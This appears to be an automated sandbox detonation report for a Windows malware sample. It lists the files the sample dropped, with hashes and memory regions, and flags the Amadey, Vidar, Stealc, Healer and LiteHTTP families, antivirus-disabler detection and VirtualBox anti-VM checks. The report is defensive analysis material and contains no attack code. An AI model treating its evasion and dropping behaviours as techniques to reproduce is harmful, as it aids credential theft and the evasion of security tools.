SHA512 a4c948a98c1f0befce3b1689780566cfd794813c31760f0bc8d8a260018e63d126c3d88af5b7088f332ecdd86cbaeecc6cd14fd633e40deddd3f9b3d04d6f248

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\9fa44495-267c-4d08-babd-b1b4f947a01f.dmp

MD5 9fba253b86eff25f42e6b733f18aa01a
SHA1 f0f5db7ccec3ae6f3db1135ac95565b65d448a1d
SHA256 5ad055a9a169f118aa4a544b80ff141d1ab1d5c75d3aee1ea59b5eb51b399374
SHA512 055bf2b246ec6694afb12d1c17ef3a01b67f6e906e9818d55acd06d097784a7745a0955c5554cc542da2a2e00e0f58fd7cef71c4ec9f2483c2eb8858928bce8a

C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe

MD5 17b983576a1751e79cb8d986714efcb8
SHA1 6d1a511084444b61a995002da24e699d3ce75491
SHA256 9dfc84a90a39d5fd6cbdb39991d4696f1bc5eef5e833f6e9d8035e0dceecd11b
SHA512 2e5f481032936483a5de8fe5f6dde02f06db388132870563134826afd15346579661cfe3252fe1f98f6911b0a15a21066af7fb71208a2c1e50b5bcc6ac174ff8

C:\ProgramData\freebl3.dll

MD5 550686c0ee48c386dfcb40199bd076ac
SHA1 ee5134da4d3efcb466081fb6197be5e12a5b22ab
SHA256 edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa
SHA512 0b7f47af883b99f9fbdc08020446b58f2f3fa55292fd9bc78fc967dd35bdd8bd549802722de37668cc89ede61b20359190efbfdf026ae2bdc854f4740a54649e

memory/6752-2462-0x0000000000720000-0x000000000113D000-memory.dmp

C:\ProgramData\msvcp140.dll

MD5 5ff1fca37c466d6723ec67be93b51442
SHA1 34cc4e158092083b13d67d6d2bc9e57b798a303b
SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA512 4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

memory/3036-2471-0x0000000000840000-0x0000000000B4F000-memory.dmp

C:\ProgramData\softokn3.dll

MD5 4e52d739c324db8225bd9ab2695f262f
SHA1 71c3da43dc5a0d2a1941e874a6d015a071783889
SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
SHA512 2d4168a69082a9192b9248f7331bd806c260478ff817567df54f997d7c3c7d640776131355401e4bdb9744e246c36d658cb24b18de67d8f23f10066e5fe445f6

memory/3036-2487-0x0000000000840000-0x0000000000B4F000-memory.dmp

C:\ProgramData\vcruntime140.dll

MD5 a37ee36b536409056a86f50e67777dd7
SHA1 1cafa159292aa736fc595fc04e16325b27cd6750
SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
SHA512 3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

C:\ProgramData\FIDHCFBAKFBGDGDHJKJJEGIDAA

MD5 0406ed8ee99659e7870c7fae5bf8972f
SHA1 ec2dea4242f481a0c68c3afde9bc1929cc883d42
SHA256 8da7c5282cfbeed215dd5df97fefa4281c85d30c7ebe33de67cfb82f6765b072
SHA512 99e4eea5cdc26087a1be77c3d63b721ab3eb6dba9fe8a8554eb2c556922f8f348c9d8ab0ab3d45d58cc0876e079f981665a5991f34f622054aff7d2ae9555431

C:\ProgramData\CBKJKJDBFIIDHJKEHJEHIIIDAK

MD5 40f3eb83cc9d4cdb0ad82bd5ff2fb824
SHA1 d6582ba879235049134fa9a351ca8f0f785d8835
SHA256 cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0
SHA512 cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 9877aa4e30cde02c1d3039cfa0612653
SHA1 2088d7ed3a5978e66b6f886d86f0a4f69bbe6d26
SHA256 1ee4bb3d9b3d05c798c368b103bfe8e13c2e095dbe0418cb0f4b7a68c064cf49
SHA512 a3506533646db7d9885b506e902f4552ffc158f428ca5904e794325cada8ace407f1b47ef9f420e1231e2a744be991bf986371d7425163d16a7b1465cb9d0222

memory/5516-2524-0x0000000000220000-0x000000000091E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe

MD5 c83ea72877981be2d651f27b0b56efec
SHA1 8d79c3cd3d04165b5cd5c43d6f628359940709a7
SHA256 13783c2615668fba4a503cbefdc18f8bc3d10d311d8dfe12f8f89868ed520482
SHA512 d212c563fdce1092d6d29e03928f142807c465ecaaead4fe9d8949b6f36184b8d067a830361559d59fc00d3bbe88feda03d67b549d54f0ec268e9e75698c1dd0

memory/6332-2540-0x00000000006F0000-0x0000000000768000-memory.dmp

memory/6384-2541-0x0000000000890000-0x0000000000D44000-memory.dmp

memory/6384-2546-0x0000000000890000-0x0000000000D44000-memory.dmp

memory/6752-2569-0x0000000000720000-0x000000000113D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe

MD5 bf2c3ece85c3f02c2689764bbbe7984e
SHA1 8a3c1ac9a42a7ec56c83f4362b28ae5a16a7c9d7
SHA256 6b2b85a6a3da80835e756d7746d0ce6d55eba35500264165f854dcd79fc18d17
SHA512 466a9d05c83e21809bcce8df8e406a44972ba439faa0e7dc1aec9142c8e2b499aa2f808a7f19b81b29e88fa09086ea89932d989e86e294c2be15a6a8bdf36b0f

memory/2636-2598-0x0000000000650000-0x000000000128F000-memory.dmp

memory/6752-2611-0x0000000000720000-0x000000000113D000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 68df854787ec61fff019f1aecb2183d5
SHA1 bdee9e9dcf185f711a006b6cc5435a01981b3de9
SHA256 3f9eaba431c14f103a2991344db4ceac9cf36eff156370ade8db159b62493081
SHA512 d6f1cfc8033778f3290bfd51863112bbe0ba8467adb57e7523f7761aecec869a90a823e19e4d4d37375d9c94bdfbedff1ae1c8e0f8a538dc59da200072f849f1

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 6825900f9e871c9222886ca016ccc1bd
SHA1 99bb42c3ed04b0f48131b6fe655c6bbaa8fa8cec
SHA256 877d0827c5ec83de19bb266e61a48139c38945f2f35519b0f7afbc0bf79b7e95
SHA512 5471eb2c0872a13793d473dac628a5789163bda59b62152b54003ecd606659e56754e955720f6b0be7689db559b97886ce336ca796bd8e485d8d122ae78692c8

C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe

MD5 ecbd88e7bb854e4ce89e94f5e76d0116
SHA1 2a2415f6db7d9bf6ec445cadd57d0ef7cd8e66fd
SHA256 c2dbaaa27274e1b7eab4c2d13dff48715ae8afc54201b2d469f6fca8364f5684
SHA512 cf477fdd53d86ffa90d5529f80fb4f70dac75b5c486ffca7a2be614a6be93de21a293ad24a7ccb3cf8729dcebd64105c25b4cf2db1a0704a7ef36bb1a52a3020

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 0e4b1058498a868e1e7f5684f07fefdd
SHA1 ab63a3829eb5c877db5105f61282177d8e11942b
SHA256 5b8e8bc64008b915108a0ea04a6cdb5510cfac58f4e0d7380d7f5a1ab6ec2de6
SHA512 bd192bc4563279baf8429f713b5945ec86330d3b1c7ff8d28d7aeafb1d58a8f4c4f6540d9965311c064bb9de008e8ea58018059b8a3ddff8e6816f63c53dbbbf

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\4b664f46-83b8-40ee-928b-9ea7893fdc6d.dmp

MD5 86319af1e45da51d75178e236edb5db5
SHA1 7df4355acd0843cf7372fe7a180d34b9dca1528b
SHA256 cfe91ea92eb73f406d3f7aa78d3e0dbd572660f2c68312927047eae761a6aade
SHA512 aa661525b108c18dd041318bb247028ea6ad51efce2190710035681f1280a4d8ea82ce5332a3b5769eb1c2ba363f1e19998c741d907b926c5c9b92a11ca98e54

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 19fbea077e6024588b2e52f4dd52c2cc
SHA1 2c8345a635c16c1258ed76614ee3afca14871181
SHA256 c2db10cbc423af98eb3524b3b7535656ea92930d27d89316da592abe62160d81
SHA512 3710a184ebe6accf6a56c01040d143afb5460dbed5e19250263664323c9af8f5f98e00081e122e2109086d4dcac3c4a218a531d534d04d66747ea92910a95ad9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 187f2bb2cd16ffa1c58f569d834e6844
SHA1 7c03fffeb3abf99f68d6ae65378612156f2f89b6
SHA256 b6edaffea3682a05fb10f3cfcc99d8bbc440110f35599417bd459b7927e650bb
SHA512 63fb1568c58a850adb004a4bbe8227a41e9778e8f100b1916783cba37bd0af3fdd006638252b207fd9adc592f95f449fec4baa0178a7553ac4de7c914d2cca2d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0

MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 8efb02f498ae17b6092fdb54649a4f98
SHA1 8528c441a9629107817b747a065359193a740c3f
SHA256 9b45326445ddadd76b1c01088601c207f7187665a87878af60b4fe60cdbcfa4e
SHA512 e09b8aa9db2e597ef4c25a296147c36c5bac6c65f0dd996377b73bb14e434edd39eb5f830a4dfd2d626adf533a61003b968c1acc9968e6eda2a9bedf02bd03e9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2

MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3

MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\a42d07a7-f028-4e74-b17b-1ba845665ebb.dmp

MD5 3e2574f603c120c03f6ca40a46749b80
SHA1 f3992236fa7501596fa86dc80adae71ff4678cfd
SHA256 c348e9626e3f53a8951050cad2aa7adcce7ca204643f60cf028e77914f3f21c5
SHA512 70810f22b1c5015f2e37024b1741fb61d64b265e1ddd7036f663ff260a676e1b55ce46f114568c6b5a71b310aac2b5b5246df0be5b49bd715e88ce3ad27ac419

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\d24db2a9-d9c9-4456-9db0-0af07a8b1b44.dmp

MD5 a67f0be71b42827e5f7b8bbd2a4859d3
SHA1 df29a661155708319512ba1bc2429518672f5a64
SHA256 2016399c6095f689215ebdda85934435bfcffa5ab590e64a18d53e80525e4a5c
SHA512 e29f9ddc32865d59edcd241c990a4ba2ef7cf81a567f0137a56637f5b60134804ef7e6c0ce164c10142de08974278ebc84f42d398b31030dab2fed65f1692ee6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 09c9b21d296f2f52f2d41f7959722649
SHA1 dfe7136165e56555206db35587a747d1a202b3d2
SHA256 5b53816eb1ef3acad5cd77f8f3046662addf9c976c31a70132a7b2718e776d01
SHA512 6e1d67239e8b0cbc2b4c3c3f3c88ecc32380607e8c21f01bf8c1f6b723cd7c0e5d3b5cd99d84f642c9698afede9b10aabc8561c54df3b6c129bc9f0a9cd87e34

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 a9ea46cc177f83a7c670e7f0b2510a2b
SHA1 e67815b3021be15cd292b58aaee9d80b15e1e3d4
SHA256 cc2a353ddf02f545cb0b88b39318c19eb8b1792622d9ee66636c3c1897e19f98
SHA512 b9ec78b93d9856cb39f73cc755e1d6802e78d19fbf5a154c011a3019716d8e7ba52dd8f17e52c0f251ae510cb0cbc84e700163dd5ba53b1f348a23d4ac74f594

C:\ProgramData\11A049FD261F4ABC.dat

MD5 f310cf1ff562ae14449e0167a3e1fe46
SHA1 85c58afa9049467031c6c2b17f5c12ca73bb2788
SHA256 e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855
SHA512 1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

memory/2636-2854-0x0000000000650000-0x000000000128F000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3UCXAPQR\service[1].htm

MD5 cfcd208495d565ef66e7dff9f98764da
SHA1 b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
SHA256 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
SHA512 31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

memory/2636-2938-0x0000000000650000-0x000000000128F000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 49ba2eaa7d6d1c7bd5ddbcfc9b6bad78
SHA1 f065edf461c07d12174505678e3143226510da55
SHA256 bba6a837236f0363b6557b5b5c8ae2c40945a4cec2927add1e3d33731970b815
SHA512 1b6fff53498c50be8d69d287905b83dfd596088aa08736c753a6878a5b9ed2602c3a1430ae06fef5f1952a206eeb23390ca05803dabf9f3500ceb1c327af8fe5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\4d33a329-bba5-455c-be23-d1f6a63d0317.dmp

MD5 491875a377ec8748cd7b61b4ad7af9d7
SHA1 a64d31fa79f26728f2371c9490c6be5c34710b35
SHA256 8f14dba981413a135e616f131fcf95f5adb3ea181c4793998442f39c73ba40bc
SHA512 4ae5d4e82c2723bcbf259bddd0a8dc8ab6d497e0e3076e824ea5944aa0b7c16a6d8d0e22776b3061a3cb476b7b16aee5c858c92ef28cfda4a5de3cf4e6d5cb7a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 21845c01a173b5ad2c59ec892f8d8b17
SHA1 12976548238c1e71a83256e4dbe17b207fca0051
SHA256 2ab1cab50be204141d0904b21414b0577ab30897624224e029eb976cf01e2e37
SHA512 4efa055677ccdbe1f49fe39b0a68a469491f1b6c0730989639a0af750dbcb2823d9078f03e4f80e3974566193e0fbe543e28cf97103fee3a8dcafc9aa700f542

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 03b6d619cbed692771b83c693ee2001e
SHA1 2c536550f01f392bf21cbee6f9cf46c60193321c
SHA256 05de2a3bee190b4c1157f1ad87f03afb17d9e9eece4272f677dad16a3373a82d
SHA512 ba065ad0dcdd4aaec65200fcec7f9a047dcf0d060420aa0fe6172a6f93708dc9dcb14b43dea51f2ad32fa83848aae3d59c6c0588a782b26d6b5a646c296d4bf1

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\e64199cf-90fe-41fc-9303-7f44377c5208.dmp

MD5 3b4cbd5d888a2392c543eb114a43f051
SHA1 25afdda6b0a681f440a6b81289579df3c092aafa
SHA256 1a7f44762cb4b3aaf41c53b5d99f234b58b0b4f860e9df9bc549743e47bb7766
SHA512 01cb124f9e2e1358bde95aa3c13063c1f304a44097c642183dd7589cfd079132e28b06b43e42259f6fc846b28bcfe414272019d0831f27e888fa53c9b357d603

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 fe70b838b994afee776c361d46d451b2
SHA1 f38f471fe7330a0998d49cfcf8bb3306eb88fe2d
SHA256 659122ce1bcdb2c76e92ebd0cd99eecabe917199fadf1dc6fbcae0f6cc684309
SHA512 e86ea859fda0902deecdbe37d2a309cd6ee6ed6afc346ea1ade424764110131d47516bcfabdfe085a2365fbb9e43379c70909797746d9e4140efd8f58985d3e3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\f922a86f-8c9d-425a-b23e-561e859eadaa.dmp

MD5 73660a70deaab3c0c46167cad203f042
SHA1 e4ae81a7c96b323ec60d0da271dc4206ec2d8c12
SHA256 7d5b778dc8a435ce055772bb01b82337d18856eb8f8d02964b8fbdf82c064ac4
SHA512 0b8c42299253b7c0a248dd61ac7501b45b5a79adc505093bec5d868720c8beeee4ef6a1168a52b3bedfccb0eae960c4db7d0337abb3c5735313eb1f7dd55a957

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 51a6c3901f20a82e4aa17d6d2ed33e56
SHA1 59b1bf2d6f1c9e2becb800e933a18f3a4932d696
SHA256 46a23190ce83b4653e06d0c46976f58745b556cc885c829fc268d9012f3bc44a
SHA512 05f08762f2299e30c08bbd5b1de67210fdb8a9f7c97b4b3d61fbdea1e2868ba6a3c3a7a3e029d73ce79a50d73190bf98f7151dd85adafeac1093daae1efc63c2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 a9fe12a1bcf9563d0e5c291d1236bb11
SHA1 cb6417643598e3bfb1a42891b386f4004734dc1a
SHA256 d0f652c3b91e065788daee9a493ff88c0eed55ba5df7dc5977f5d0e75d4b0082
SHA512 8ca14b8d10f7219e7fc31b977c4eb64e0f8f8a128ea00b5412305262d93db425c2e2e6375eadce3ac7ff007040bd048649bc7dd6d4b4e454eae3ee9c509f8598

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\78999ea1-71bd-4318-aa06-ee082f8c33ac.dmp

MD5 dc333cdefcd1dc3494859ff00f9af39f
SHA1 188a80407d294ded8acdda1eea58346d3b0239b1
SHA256 263599f40e0c3d4c9d8860ea9b30e300d6e49d764b08c86a959c920fcd7857ff
SHA512 d3b5d024d5d55cda67395352d761f6059c2de4aaf87bf437813b57e7bf11e298bf128ac5822d897a089dbabeb772f8f368408e8f2ee186fcafbb9c9fbd0a3ea0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 f44cb80577499e393438be3090ffbc5b
SHA1 3c32ee41bd17a1d32f368caac5a500a8e5ff51ce
SHA256 f7e93aafb391329acfe3408ea735ff92046f7d3361a4ec8001ddf67a199aedcd
SHA512 35182df3754796bd087b7551ed86be79487a6718da4ad9ea460329209af0aa9aa0ce3125c5c3d03c1439af1fc431ffcab0f6a564687edd5d03046b61ca7c31aa

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\ca89b906-ff80-477c-a9eb-84b0fe5a8100.dmp

MD5 7a3e85f4f5514f9065f6ba68d6f4fbfa
SHA1 bee485df4a942ee6b5cc54051b7ba2f363e12a7e
SHA256 bff48a1f66d1990a00da7686b71c4c534849cb08b16a1b1f1f1d5664cf636a99
SHA512 53ac8a4cf58344551d11e724416b4bc92041270feeaef0e1d2fb25845a7c0ff861c69a88e6c7024470301eda77e16ac98328419d74894921b17a99a61743ac2e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 e44092dece029782bb6fee016e7ea833
SHA1 08860f3d5084e960e435b4a00e26e467cd3f58bd
SHA256 9bfb981a1a979f274e452441e300de593190008b5770222e6544cd97a9e1b159
SHA512 a2f225a1a9eeff56bc0285959b0a338890440c3ac4bb9534bdf004223461715836e256e0537fce25b6e54e054f57eef2bfc755e5765b651f3dfd58a99451d581

C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe

MD5 345089416c8d945078f9c4436e04e21f
SHA1 77352342d62cd8b195329b29683964a38bafc5e6
SHA256 c69467b43944fd687b47d0642a58d77640c58a3c74df53a85998bc7f152819ee
SHA512 8d23131a05dd7845520a404c3cfe65c6c57873f023a7c7e400097b5c29af084164729f323aa5f12a3c6c621381af5a3774e6d9cfad232e77b259d0dfe74021bb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 e18c2e4a56a0ab227c6ff74fa0509d9c
SHA1 e2846ac0192e02f02e51a6923430cf13e8f89bec
SHA256 3278d85e99c055a3cda75c4f4dce5b24d3c4e36f0adee96ac31f3929e40b9df7
SHA512 6daa098595210eb66086764bab4f102059806bdcbccf89a32fa3f36660bbeca93fa1214f8390c21b689c451b701f92c052e520ec4bebd7ce69bb542ee617cfe2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\23af9731-ed2d-4e60-a38e-d7c99849da9e.dmp

MD5 ad7feb488b74f3650d3a0c6a23645fd5
SHA1 a49a674d06a59ce3babb62dd22a5c0cadcf63bae
SHA256 7367ce56f4e04b236e714a7712b56900a73e4ff966c637ccc53e7245243f782a
SHA512 591fff3b425d55b97c5a56f4260c9630316f45e0ccfb2ac9ee0f04f0721a4ea896491ed1378e1139d9ee97243bef70ddd4a290b50fd3c228a3b0cd8775dbfba6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 b2874fa5cd7c43e3f34fb46ef8ded53e
SHA1 be1e611281e82b7ffc99cea7fdd1a7a92569060f
SHA256 c9c308bd1251e81a00d67968cba770022b16f481b0ed27800de853966843e252
SHA512 29899c13b4efec409991a4492447e5c8f5ee0c20f9f9b267d89c4ac62c3406b88941d789437371a680bf454eb64956822f68eae476b5b438fd5e0fd3e685bc9c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 bf0018cffad6b0f0d8dfd4dd237fc6f5
SHA1 82f3ceaebe6bb3ce3620be1c21537c8cbefca316
SHA256 f00ac003f75f1eeadf7d412dafe9e06aa047d6c34a95dad62b7783a52ce9a0c8
SHA512 6ac9000e54299816d5d90ecf6fe409cda9e6e0b05be256d853d9429c0a9f5c2d3ded0dea2bf0452e8e85a498a663659701f0bb0da726939e309263435e9bde00

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\ed0c51d5-9930-49bc-ab89-8a028869bc58.dmp

MD5 551bd6a2f3b0fbd46866711a0e3b3035
SHA1 f91313966d98df6cadf309af1df1e3221c851233
SHA256 bd275f50ea29865aa35535a6a2b00fa29741098b0c52c77f8ebc7c3905ff8685
SHA512 ee6501770afdb78f8d11ca4ab3beeb19eb62ac8ec2587560d9dfa906ac50da866982ea6321c2d53fcd14f9d0a975e39e38105d739ae73add96cdf53064c9fd27

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 2dd802067c66df244d4b0a4627ae76eb
SHA1 570d5420afd3c62cd40200e8d20435453c920582
SHA256 afa035c015fa2880fdfdc3373fd43cd2634c93d31c4f7b6c49dbe580eb3437a2
SHA512 ef5924286a9b6ee84cdfa0abb61f782a502cd8df71c53cedbebc73c7f2f6b875b5d1e05340589745b59a5cd14d9b5b2530b9bcc217bf46dcbb7143a8225e85dc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\27389f91-48a6-4dc3-8424-4288815eb870.dmp

MD5 76d0503a49900d736ecb92bec6150100
SHA1 76fef9f58bf946e9231cddc246171af35281c8ba
SHA256 504b2669a1d0a5239e237c2246893ccc7f01465c5437c1490b0ef44da83c73f5
SHA512 da5db4f163e126f72700295f89ec5a779f285bac326708a101be3ac6dd2ffc734538ca384dd8c29059d3f8ca69d80219df1ebc8047038085d8631dcefe646767

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

MD5 057fef4918ff158bd179ae0b3adce63a
SHA1 cd46d36f806cd162083262ba8104d2f32555f0c6
SHA256 0a573c62708494251e5c5e1822c87433f99b999d5cd4f43e6d4c06722058c635
SHA512 f96850929bbffcf42bf34f43cf47d9b63f4883e789cc86c9f6d75983c8c9dba01b62c1dc4ae35ea10efe78fc051f47fed2343bfb0061efb6534d74a001139d58

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\2ed4680d-9419-47ca-a7a1-fdc41ee06bb8.dmp

MD5 608764da17c525c0c588d263b805bc03
SHA1 a963ab1f68e90b2c6431d40e9f6e1ca4f3d1a52e
SHA256 e490cd83f349f854640e4509ea3c4ff43061291c2a8eaa14d9c8ef8005d07b36
SHA512 a3bb9ca870b015ec2100bbf82457c7b211c1b268e1b7502d86365efcf6989df11fec923c8af56ae6fd450dd4062acae3ebd0264bda5ed6daa9f7e4d020d17dbc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 220a7a5bdcef977ed88fffffeba9d838
SHA1 aac1fc853c30c450873427d052236365c394ad6d
SHA256 0d839558f12559a878af777c0b5dd06453ff089cec15cb87453ce956cf4bc8ea
SHA512 19329a8e1d7ed9bdf9676fe7586c7a36d5b7649b41637973178e16bf2c364c6885fd853c3e97cfcc7f2546dc0f3a95b96e1278322a8b33850bff9546996c7e55

C:\ProgramData\kfkng\2djecb

MD5 9618e15b04a4ddb39ed6c496575f6f95
SHA1 1c28f8750e5555776b3c80b187c5d15a443a7412
SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
SHA512 f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26

memory/2236-3460-0x00000000008D0000-0x0000000000FCE000-memory.dmp

C:\ProgramData\kfkng\djmo8g

MD5 f874cbef14d4c5b7b83070b093357ef3
SHA1 edf51566e440de5742bf834cf6cd56937675a055
SHA256 bfe52d478f0275f9b7b0a3e1ab9db7bc2a968c3ae4d46fa5aaf52fce6e30b0b6
SHA512 e79532d4477adc5938d58a4d0ee30cc78ff96c58758062d6137cbcab98d3abf30e35a3ac0c1f397fc7f992a79f8d0328b98ff83697c90595713b6a1cd25962e7

C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe

MD5 629300ff81436181f8f475448ae88ccc
SHA1 26d771f0ec5f24c737708a0006d17d2d41b43459
SHA256 9e33286f53f3ce4b98cb00dca5c365c82a0c1ded9ef0402d7d4270a607c127e6
SHA512 467559eb2ada21818816f4713501ee944694875b57ccd721d92b5507f6fcaf1020ffcb1bbc5f41264f6d777701a1e4607ae06277d74fc4e1e0d4477b5b433da0

C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe

MD5 29ae5fe126cd47f4afd6f85a0fbe80f4
SHA1 fec2574d7897dbb044daa0bd880eeef005d0a453
SHA256 2577c7f0bda4e6b51a5055d1d5cb5cf6ff524f1c6691cf895d9aa468813012ac
SHA512 9c3380a45b8686e86e74726c86467aa5d9331766f77b8c376c048faa7d20477f017870d74e501022a3b4c1a9d416d303dd27bdf2f22bf3b73d7edd284b67fbdf

Analysis: behavioral1

Detonation Overview

Submitted

2025-03-06 04:27

Reported

2025-03-06 04:29

Platform

win7-20240903-en

Max time kernel

70s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Healer family

healer

LiteHTTP

stealer bot litehttp

Litehttp family

litehttp

Stealc

stealer stealc

Stealc family

stealc

Vidar

stealer vidar

Vidar family

vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM)

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
